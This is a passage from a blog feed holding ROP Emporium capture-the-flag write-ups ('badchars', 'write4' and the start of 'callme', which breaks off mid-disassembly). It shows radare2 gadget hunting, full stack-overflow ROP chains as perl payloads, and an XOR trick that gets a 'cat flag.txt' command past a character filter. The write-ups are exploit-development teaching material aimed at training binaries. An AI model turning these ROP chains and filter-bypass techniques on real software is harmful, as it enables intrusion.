 badchars are: b i c / &amp;lt;space&amp;gt; f n s
 &amp;gt;
 Program received signal SIGSEGV, Segmentation fault.
 0x0000006161616161 in ?? ()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;However the initial &lt;code class=&quot;highlighter-rouge&quot;&gt;fgets&lt;/code&gt; stores the input in a correctly sized heap buffer and filters certain characters with &lt;code class=&quot;highlighter-rouge&quot;&gt;checkBadchars()&lt;/code&gt;. Only after that the data is &lt;code class=&quot;highlighter-rouge&quot;&gt;memcpy&lt;/code&gt;ed to the small stack buffer and causing an overflow.&lt;/p&gt;

&lt;p&gt;As with all Rop Emporium challenges, we can get a leg up by searching for “useful” symbols.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ r2 ./badchars -qc &quot;is&quot; | grep useful
041 0x000009df 0x004009df  LOCAL   FUNC   17 usefulFunction
079 0x00000b30 0x00400b30 GLOBAL NOTYPE    0 usefulGadgets
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;highlighter-rouge&quot;&gt;usefulFunction()&lt;/code&gt; merely contains a call to &lt;code class=&quot;highlighter-rouge&quot;&gt;system()&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ r2 ./badchars -qc &quot;aaa; pdf @ sym.usefulFunction&quot;
/ (fcn) sym.usefulFunction 17
|   sym.usefulFunction ();
|           0x004009df      push rbp
|           0x004009e0      mov rbp, rsp
|           0x004009e3      mov edi, str.bin_ls
|           0x004009e8      call sym.imp.system
|           0x004009ed      nop
|           0x004009ee      pop rbp
\           0x004009ef      ret

$ r2 ./badchars -qc &quot;pd 12 @ 0x00400b30&quot;
            ;-- usefulGadgets:
            0x00400b30      xor byte [r15], r14b
            0x00400b33      ret
            0x00400b34      mov qword [r13], r12
            0x00400b38      ret
            0x00400b39      pop rdi
            0x00400b3a      ret
            0x00400b3b      pop r12
            0x00400b3d      pop r13
            0x00400b3f      ret
            0x00400b40      pop r14
            0x00400b42      pop r15
            0x00400b44      ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So similar to previous challenges, we need to smuggle our shell command into a writable region of memory (start of &lt;code class=&quot;highlighter-rouge&quot;&gt;.bss&lt;/code&gt; is good), load that address into &lt;code class=&quot;highlighter-rouge&quot;&gt;rdi&lt;/code&gt; register and then &lt;code class=&quot;highlighter-rouge&quot;&gt;jmp&lt;/code&gt; to the call to &lt;code class=&quot;highlighter-rouge&quot;&gt;system()&lt;/code&gt;. The twist this time is that we need to encode the “bad” characters in the exploit string somehow so they don’t get filtered and then decode them once they are written to the &lt;code class=&quot;highlighter-rouge&quot;&gt;.bss&lt;/code&gt; buffer. We can use the &lt;code class=&quot;highlighter-rouge&quot;&gt;xor&lt;/code&gt; gadget for that.&lt;/p&gt;

&lt;p&gt;The first part of our exploit, to smuggle the shell command into writable memory looks like this.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;0x00000000400b3b  # pop r12, pop r13
0x616c6620746163  # &quot;cat fla&quot; (src)
0x00000000601080  # .bss      (dst)
0x00000000400b34  # mov qword [r13], r12
0x00000000400b3b  # pop r12, pop r13
0x00007478742e67  # &quot;g.txt&quot; (src)
0x00000000601087  # .bss +7 (dst)
0x00000000400b34  # mov qword [r13], r12

$ perl -e &#39;print((&quot;\x00&quot; x 0x28) .
                 &quot;\x3b\x0b\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\x63\x61\x74\x20\x66\x6c\x61\x00&quot; .
                 &quot;\x80\x10\x60\x00\x00\x00\x00\x00&quot; .
                 &quot;\x34\x0b\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\x3b\x0b\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\x67\x2e\x74\x78\x74\x00\x00\x00&quot; .
                 &quot;\x87\x10\x60\x00\x00\x00\x00\x00&quot; .
                 &quot;\x34\x0b\x40\x00\x00\x00\x00\x00&quot;)&#39; |
  gdb ./badchars --batch -ex run -ex &quot;x/s 0x00000000601080&quot;
badchars by ROP Emporium
64bits

badchars are: b i c / &amp;lt;space&amp;gt; f n s
&amp;gt;
Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in ?? ()
0x601080 &amp;lt;stdout@@GLIBC_2.2.5&amp;gt;: &quot;\353at\353\353lag.txt&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Examining the destination buffer as a string with GDB shows some of the characters have been filtered as expected.&lt;/p&gt;

&lt;p&gt;Since all ASCII values are between &lt;code class=&quot;highlighter-rouge&quot;&gt;0x0&lt;/code&gt;-&lt;code class=&quot;highlighter-rouge&quot;&gt;0x7f&lt;/code&gt;, an easy way to encode them is to set the highest bit (&lt;code class=&quot;highlighter-rouge&quot;&gt;0x80&lt;/code&gt;) on input and then take it away with &lt;code class=&quot;highlighter-rouge&quot;&gt;xor&lt;/code&gt;.
The filtered letters are &lt;code class=&quot;highlighter-rouge&quot;&gt;&#39;c&#39;&lt;/code&gt; (&lt;code class=&quot;highlighter-rouge&quot;&gt;0x63&lt;/code&gt;), &lt;code class=&quot;highlighter-rouge&quot;&gt;&#39; &#39;&lt;/code&gt; (&lt;code class=&quot;highlighter-rouge&quot;&gt;0x20&lt;/code&gt;) and &lt;code class=&quot;highlighter-rouge&quot;&gt;&#39;f&#39;&lt;/code&gt; (&lt;code class=&quot;highlighter-rouge&quot;&gt;0x66&lt;/code&gt;).&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;printf %02x $((0x63 | 0x80)) =&amp;gt; 0xe3
printf %02x $((0x20 | 0x80)) =&amp;gt; 0xa0
printf %02x $((0x66 | 0x80)) =&amp;gt; 0xe6
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;0x616c6620746163  # &quot;cat fla&quot;
0x00007478742e67  # &quot;g.txt&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;becomes&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;0x616ce6a07461e3
0x00007478742e67
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And to decode the 3 “bad” characters we add&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;0x00000000400b40  # pop r14, pop r15
0x00000000000080  # xor character
0x00000000601080  # .bss + 0 (&#39;c&#39;)
0x00000000400b30  # xor byte [r15], r14b

0x00000000400b42  # pop r15
0x00000000601083  # .bss + 3 (&#39; &#39;)
0x00000000400b30  # xor byte [r15], r14b

0x00000000400b42  # pop r15
0x00000000601084  # .bss + 4 (&#39;f&#39;)
0x00000000400b30  # xor byte [r15], r14b

$ perl -e &#39;print((&quot;\x00&quot; x 0x28) .
                 &quot;\x3b\x0b\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\xe3\x61\x74\xa0\xe6\x6c\x61\x00&quot; .
                 &quot;\x80\x10\x60\x00\x00\x00\x00\x00&quot; .
                 &quot;\x34\x0b\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\x3b\x0b\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\x67\x2e\x74\x78\x74\x00\x00\x00&quot; .
                 &quot;\x87\x10\x60\x00\x00\x00\x00\x00&quot; .
                 &quot;\x34\x0b\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\x40\x0b\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\x80\x00\x00\x00\x00\x00\x00\x00&quot; .
                 &quot;\x80\x10\x60\x00\x00\x00\x00\x00&quot; .
                 &quot;\x30\x0b\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\x42\x0b\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\x83\x10\x60\x00\x00\x00\x00\x00&quot; .
                 &quot;\x30\x0b\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\x42\x0b\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\x84\x10\x60\x00\x00\x00\x00\x00&quot; .
                 &quot;\x30\x0b\x40\x00\x00\x00\x00\x00&quot;)&#39; |
  gdb ./badchars --batch -ex run -ex &quot;x/s 0x00000000601080&quot;
badchars by ROP Emporium
64bits

badchars are: b i c / &amp;lt;space&amp;gt; f n s
&amp;gt;
Program received signal SIGSEGV, Segmentation fault.
0x0000000000000000 in ?? ()
0x601080 &amp;lt;stdout@@GLIBC_2.2.5&amp;gt;: &quot;cat flag.txt&quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now we have bypassed the filter and have the shell command in memory we only need to load it into the &lt;code class=&quot;highlighter-rouge&quot;&gt;rdi&lt;/code&gt; register (first argument for a function) and &lt;code class=&quot;highlighter-rouge&quot;&gt;jmp&lt;/code&gt; to the call to &lt;code class=&quot;highlighter-rouge&quot;&gt;system()&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;0x00000000400b39  # pop rdi
0x00000000601080  # .bss
0x000000004009e8  # call sym.imp.system

$ perl -e &#39;print((&quot;\x00&quot; x 0x28) .
                 &quot;\x3b\x0b\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\xe3\x61\x74\xa0\xe6\x6c\x61\x00&quot; .
                 &quot;\x80\x10\x60\x00\x00\x00\x00\x00&quot; .
                 &quot;\x34\x0b\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\x3b\x0b\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\x67\x2e\x74\x78\x74\x00\x00\x00&quot; .
                 &quot;\x87\x10\x60\x00\x00\x00\x00\x00&quot; .
                 &quot;\x34\x0b\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\x40\x0b\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\x80\x00\x00\x00\x00\x00\x00\x00&quot; .
                 &quot;\x80\x10\x60\x00\x00\x00\x00\x00&quot; .
                 &quot;\x30\x0b\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\x42\x0b\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\x83\x10\x60\x00\x00\x00\x00\x00&quot; .
                 &quot;\x30\x0b\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\x42\x0b\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\x84\x10\x60\x00\x00\x00\x00\x00&quot; .
                 &quot;\x30\x0b\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\x39\x0b\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\x80\x10\x60\x00\x00\x00\x00\x00&quot; .
                 &quot;\xe8\x09\x40\x00\x00\x00\x00\x00&quot;)&#39; | ./badchars
badchars by ROP Emporium
64bits

badchars are: b i c / &amp;lt;space&amp;gt; f n s
&amp;gt; ROPE{a_placeholder_32byte_flag!}
Segmentation fault
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
</description>
        <pubDate>Fri, 03 May 2019 19:36:20 +0000</pubDate>
        <link>http://klamp.works/2019/05/03/ropemp-badchars.html</link>
        <guid isPermaLink="true">http://klamp.works/2019/05/03/ropemp-badchars.html</guid>
        
        
      </item>
    
      <item>
        <title>ROP Emporium CTF 4/7 write4</title>
        <description>&lt;p&gt;This challenge uses a similar &lt;code class=&quot;highlighter-rouge&quot;&gt;pwnme&lt;/code&gt; function as the previous &lt;code class=&quot;highlighter-rouge&quot;&gt;split&lt;/code&gt;
challenge with the same offsets but a larger overflow (&lt;code class=&quot;highlighter-rouge&quot;&gt;0x200&lt;/code&gt; bytes).&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ perl -e &#39;print((&quot;\x00&quot; x 0x28) . &quot;fedcba&quot;)&#39; |
  gdb ./write4 --batch -ex run
write4 by ROP Emporium
...
Program received signal SIGSEGV, Segmentation fault.
0x0000616263646566 in ?? ()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code class=&quot;highlighter-rouge&quot;&gt;usefulFunction&lt;/code&gt; is back but no &lt;code class=&quot;highlighter-rouge&quot;&gt;usefulString&lt;/code&gt; this time.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ r2 ./write4 -qc &quot;is&quot;
...
039 0x00000807 0x00400807  LOCAL   FUNC   17 usefulFunction
...
074 0x00000820 0x00400820 GLOBAL NOTYPE    0 usefulGadgets
...

$ r2 ./write4 -qc &quot;aa ; pdf @ sym.usefulFunction&quot;
/ (fcn) sym.usefulFunction 17
|   sym.usefulFunction ();
|           0x00400807      push rbp
|           0x00400808      mov rbp, rsp
|           0x0040080b      mov edi, str.bin_ls
|           0x00400810      call sym.imp.system
|           0x00400815      nop
|           0x00400816      pop rbp
\           0x00400817      ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Only one &lt;code class=&quot;highlighter-rouge&quot;&gt;usefulGadget&lt;/code&gt; and it is copying from register to memory.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ r2 ./write4 -qc &quot;aa ; pd 2 @ 0x00400820&quot;
          ;-- usefulGadgets:
          0x00400820      mov qword [r14], r15
          0x00400823      ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Even though the string &lt;code class=&quot;highlighter-rouge&quot;&gt;&quot;cat flag.txt&quot;&lt;/code&gt; does not appear in the binary, we can inject
it onto the stack as part of the overflow.
We can then use the first of &lt;code class=&quot;highlighter-rouge&quot;&gt;usefulGadgets&lt;/code&gt; to copy the string to a known memory
address and &lt;code class=&quot;highlighter-rouge&quot;&gt;jmp&lt;/code&gt; to the &lt;code class=&quot;highlighter-rouge&quot;&gt;system()&lt;/code&gt; function.&lt;/p&gt;

&lt;p&gt;Here are the gadgets we need
from &lt;code class=&quot;highlighter-rouge&quot;&gt;usefulGadgets&lt;/code&gt;, to write a register value to memory address.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;0x00400820      mov qword [r14], r15
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;To load an arbitrary value into &lt;code class=&quot;highlighter-rouge&quot;&gt;r15&lt;/code&gt; and memory address into &lt;code class=&quot;highlighter-rouge&quot;&gt;r15&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ r2 ./write4 -qc &#39; &quot;/R pop r14;pop r15;ret&quot; &#39;
  0x00400890               415e  pop r14
  0x00400892               415f  pop r15
  0x00400894                 c3  ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We also need to load the address of our freshly copied string into
the &lt;code class=&quot;highlighter-rouge&quot;&gt;rdi&lt;/code&gt; register so it can be passed as an argument to &lt;code class=&quot;highlighter-rouge&quot;&gt;system()&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ r2 ./write4 -qc &#39; &quot;/R pop rdi;ret&quot; &#39;
  0x00400893                 5f  pop rdi
  0x00400894                 c3  ret
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Finally we need a destination to copy our string to.
The &lt;code class=&quot;highlighter-rouge&quot;&gt;.bss&lt;/code&gt; section is ideal because it is guaranteed to be r/w and it is
initialized to zero so we don’t need to manually NUL terminate the string (as
long as code running before the exploit doesn’t write there).
In our case can just use the very start of &lt;code class=&quot;highlighter-rouge&quot;&gt;.bss&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ r2 ./write4 -qc &#39; &quot;iS&quot; &#39; | grep bss
26 0x00001060     0 0x00601060    48 -rw- .bss
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;So our rop chain will look like this:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;0x00000000400890 # pop r14; pop r15
0x00000000601060 # .bss
0x616c6620746163 # &quot;cat fla&quot;
0x00000000400820 # mov qword [r14], r15

0x00000000400890 # pop r14; pop r15
0x00000000601067 # .bss + 7
0x00007478742e67 # &quot;g.txt&quot;
0x00000000400820 # mov qword [r14], r15

0x00000000400893 # pop rdi
0x00000000601060 # .bss
0x00000000400810 # system(rdi)
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;See the previous &lt;code class=&quot;highlighter-rouge&quot;&gt;split&lt;/code&gt; challenge for code to convert addresses to the form below.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ perl -e &#39;print((&quot;\x00&quot; x 0x28) .
                 &quot;\x90\x08\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\x60\x10\x60\x00\x00\x00\x00\x00&quot; .
                 &quot;\x63\x61\x74\x20\x66\x6c\x61\x00&quot; .
                 &quot;\x20\x08\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\x90\x08\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\x67\x10\x60\x00\x00\x00\x00\x00&quot; .
                 &quot;\x67\x2e\x74\x78\x74\x00\x00\x00&quot; .
                 &quot;\x20\x08\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\x93\x08\x40\x00\x00\x00\x00\x00&quot; .
                 &quot;\x60\x10\x60\x00\x00\x00\x00\x00&quot; .
                 &quot;\x10\x08\x40\x00\x00\x00\x00\x00&quot;)&#39; |
  ./write4
write4 by ROP Emporium
64bits

Go ahead and give me the string already!
&amp;gt; ROPE{a_placeholder_32byte_flag!}
Segmentation fault
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

</description>
        <pubDate>Fri, 05 Apr 2019 19:36:20 +0000</pubDate>
        <link>http://klamp.works/2019/04/05/ropemp-write4.html</link>
        <guid isPermaLink="true">http://klamp.works/2019/04/05/ropemp-write4.html</guid>
        
        
      </item>
    
      <item>
        <title>ROP Emporium CTF 3/7 callme</title>
        <description>&lt;p&gt;This challenge uses a similar &lt;code class=&quot;highlighter-rouge&quot;&gt;pwnme&lt;/code&gt; function to other ROP Emporium challenges.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ perl -e &#39;print((&quot;\x00&quot; x 0x28) . &quot;fedcba&quot;)&#39; |
  gdb ./callme --batch -ex run
callme by ROP Emporium
...
Program received signal SIGSEGV, Segmentation fault.
0x0000616263646566 in ?? ()
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Scanning through the symbols we see a number of interesting functions:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ r2 ./callme -qc &quot;is&quot;
[Symbols]
Num Paddr      Vaddr      Bind     Type Size Name
...
004 0x00001810 0x00401810 GLOBAL   FUNC   16 imp.callme_three
...
008 0x00001850 0x00401850 GLOBAL   FUNC   16 imp.callme_one
...
011 0x00001870 0x00401870 GLOBAL   FUNC   16 imp.callme_two
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We can’t disassemble them here because they are imported from a shared library.
The intricacies of how functions are imported from shared libraries are explored
in the &lt;code class=&quot;highlighter-rouge&quot;&gt;pivot&lt;/code&gt; challenge.&lt;/p&gt;

&lt;p&gt;We need to do some reverse engineering to understand what these functions do.&lt;/p&gt;

&lt;h1 id=&quot;callmeone&quot;&gt;callme_one&lt;/h1&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ r2 ./libcallme.so -qc &quot;aa ; pdf @ sym.callme_one&quot;
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Takes three arguments&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;0x000008f8      897dec         mov dword [local_14h], edi
0x000008fb      8975e8         mov dword [local_18h], esi
0x000008fe      8955e4         mov dword [local_1ch], edx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;First argument must equal &lt;code class=&quot;highlighter-rouge&quot;&gt;1&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;0x00000901      837dec01       cmp dword [local_14h], 1
0x00000905      0f85b0000000   jne 0x9bb
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Second argument must equal &lt;code class=&quot;highlighter-rouge&quot;&gt;2&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;0x0000090b      837de802       cmp dword [local_18h], 2    ; [0x2:4]=0x102464c
0x0000090f      0f85a6000000   jne 0x9bb
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Third argument must equal &lt;code class=&quot;highlighter-rouge&quot;&gt;3&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;0x00000915      837de403       cmp dword [local_1ch], 3    ; [0x3:4]=0x1010246
0x00000919      0f859c000000   jne 0x9bb
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Opens the flag file as read only&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;0x0000091f      48c745f80000.  mov qword [local_8h], 0
0x00000927      488d35820200.  lea rsi, 0x00000bb0 ; &quot;r&quot;
0x0000092e      488d3d7d0200.  lea rdi, str.encrypted_flag.txt
0x00000935      e886feffff     call sym.imp.fopen
0x0000093a      488945f8       mov qword [local_8h], rax
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Create a &lt;code class=&quot;highlighter-rouge&quot;&gt;0x21&lt;/code&gt; buffer with &lt;code class=&quot;highlighter-rouge&quot;&gt;malloc&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;0x0000095b      bf21000000     mov edi, 0x21
0x00000960      e84bfeffff     call sym.imp.malloc
0x00000965      488905fc0620.  mov qword obj.g_buf, rax
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Read &lt;code class=&quot;highlighter-rouge&quot;&gt;0x21&lt;/code&gt; bytes from file into &lt;code class=&quot;highlighter-rouge&quot;&gt;malloc&lt;/code&gt;ed buffer&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;0x0000098e      488b05d30620.  mov rax, qword obj.g_buf
0x00000995      488b55f8       mov rdx, qword [local_8h]
0x00000999      be21000000     mov esi, 0x21
0x0000099e      4889c7         mov rdi, rax
0x000009a1      e8fafdffff     call sym.imp.fgets
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In summary, &lt;code class=&quot;highlighter-rouge&quot;&gt;callme_one&lt;/code&gt; does&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;check that &lt;code class=&quot;highlighter-rouge&quot;&gt;edi == 1&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;esi == 2&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;edx == 3&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;allocate &lt;code class=&quot;highlighter-rouge&quot;&gt;0x21&lt;/code&gt; buffer &lt;code class=&quot;highlighter-rouge&quot;&gt;obj.g_buf&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;read &lt;code class=&quot;highlighter-rouge&quot;&gt;0x21&lt;/code&gt; bytes from FLAG file&lt;/li&gt;
  &lt;li&gt;return pointer to buffer (&lt;code class=&quot;highlighter-rouge&quot;&gt;rax&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;callmetwo&quot;&gt;callme_two&lt;/h1&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;$ r2 ./libcallme.so -qc &quot;aa ; pdf @ sym.callme_two&quot;
...
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;First three arguments need to be &lt;code class=&quot;highlighter-rouge&quot;&gt;1&lt;/code&gt;, &lt;code class=&quot;highlighter-rouge&quot;&gt;2&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;3&lt;/code&gt;&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;0x000009dc      897dec         mov dword [local_14h], edi
0x000009df      8975e8         mov dword [local_18h], esi
0x000009e2      8955e4         mov dword [local_1ch], edx
0x000009e5      837dec01       cmp dword [local_14h], 1
0x000009e9      0f85a2000000   jne 0xa91
0x000009ef      837de802       cmp dword [local_18h], 2
0x000009f3      0f8598000000   jne 0xa91
0x000009f9      837de403       cmp dword [local_1ch], 3
0x000009fd      0f858e000000   jne 0xa91
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Open file &lt;code class=&quot;highlighter-rouge&quot;&gt;&quot;key1.dat&quot;&lt;/code&gt; as readonly&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;0x00000a0b      488d359e0100.  lea rsi, 0x00000bb0
0x00000a12      488d3d000200.  lea rdi, str.key1.dat ; &quot;r&quot;
0x00000a19      e8a2fdffff     call sym.imp.fopen
0x00000a1e      488945f8       mov qword [local_8h], rax
0x00000a22      48837df800     cmp qword [local_8h], 0
0x00000a27      7516           jne 0xa3f
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The local vairable &lt;code class=&quot;highlighter-rouge&quot;&gt;local_ch&lt;/code&gt; is a counter and &lt;code class=&quot;highlighter-rouge&quot;&gt;local_8h&lt;/code&gt; is the key file descriptor.&lt;/p&gt;

&lt;p&gt;The counter is initialized to zero.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;0x00000a46      c745f4000000.  mov dword [local_ch], 0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The following code then loops 16 times.&lt;/p&gt;

&lt;p&gt;Read next char from key&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;  0x00000a4f      488b45f8       mov rax, qword [local_8h] ; fd
  0x00000a53      4889c7         mov rdi, rax
  0x00000a56      e835fdffff     call sym.imp.fgetc
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Add counter to buffer pointer&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;  0x00000a5d      488b15040620.  mov rdx, qword obj.g_buf
  0x00000a64      8b45f4         mov eax, dword [local_ch]
  0x00000a67      4898           cdqe                  ; sign extend eax -&amp;gt; rax
  0x00000a69      4801d0         add rax, rdx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Same again (?)&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;0x00000a6c      488b0df50520.  mov rcx, qword obj.g_buf
0x00000a73      8b55f4         mov edx, dword [local_ch]
0x00000a76      4863d2         movsxd rdx, edx
0x00000a79      4801ca         add rdx, rcx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Do &lt;code class=&quot;highlighter-rouge&quot;&gt;xor&lt;/code&gt; flag[counter] with byte from key1&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;pre class=&quot;codehilite&quot;&gt;&lt;code&gt;0x00000a7c      0fb612         movzx edx, byte [rdx]
0x00000a7f      89f1           mov ecx, esi
0x00000a81      31ca           xor edx, ecx
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

